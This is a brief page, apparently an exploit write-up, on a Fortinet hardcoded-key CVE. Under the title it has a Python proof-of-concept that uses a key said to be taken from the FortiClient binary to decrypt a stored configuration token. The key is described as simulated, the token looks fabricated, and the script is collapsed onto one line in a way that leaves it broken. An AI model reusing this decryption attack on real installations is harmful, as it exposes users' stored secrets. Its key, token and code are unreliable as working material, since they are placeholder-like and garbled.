CVE-2026-44278 Fortinet硬编码密钥漏洞

import base64 from cryptography.fernet import Fernet # Simulate the hardcoded key extracted from FortiClient binary # In a real exploit, this string is found statically within the software files HARDCODED_KEY = b'Z5V3x1M7s9Q2k8L4p6R0w3Y5t8u1I4o0A1s2D3f4G5h=' # Initialize cipher suite with the leaked key cipher_suite = Fernet(HARDCODED_KEY) # Example: Encrypted configuration data found in the application's data directory # This represents sensitive info encrypted with the vulnerable key encrypted_config_token = b'gAAAAABlR9k2xZ5eY8w0Q1v2C3d4E5f6G7h8I9j0K1l2M3n4O5p6Q7r8S9t0U1v2w==' try: # Attempt to decrypt the data using the hardcoded key decrypted_data = cipher_suite.decrypt(encrypted_config_token) print("[+] Successfully decrypted sensitive data:") print(decrypted_data.decode('utf-8')) except Exception as e: print(f"[-] Decryption failed: {e}")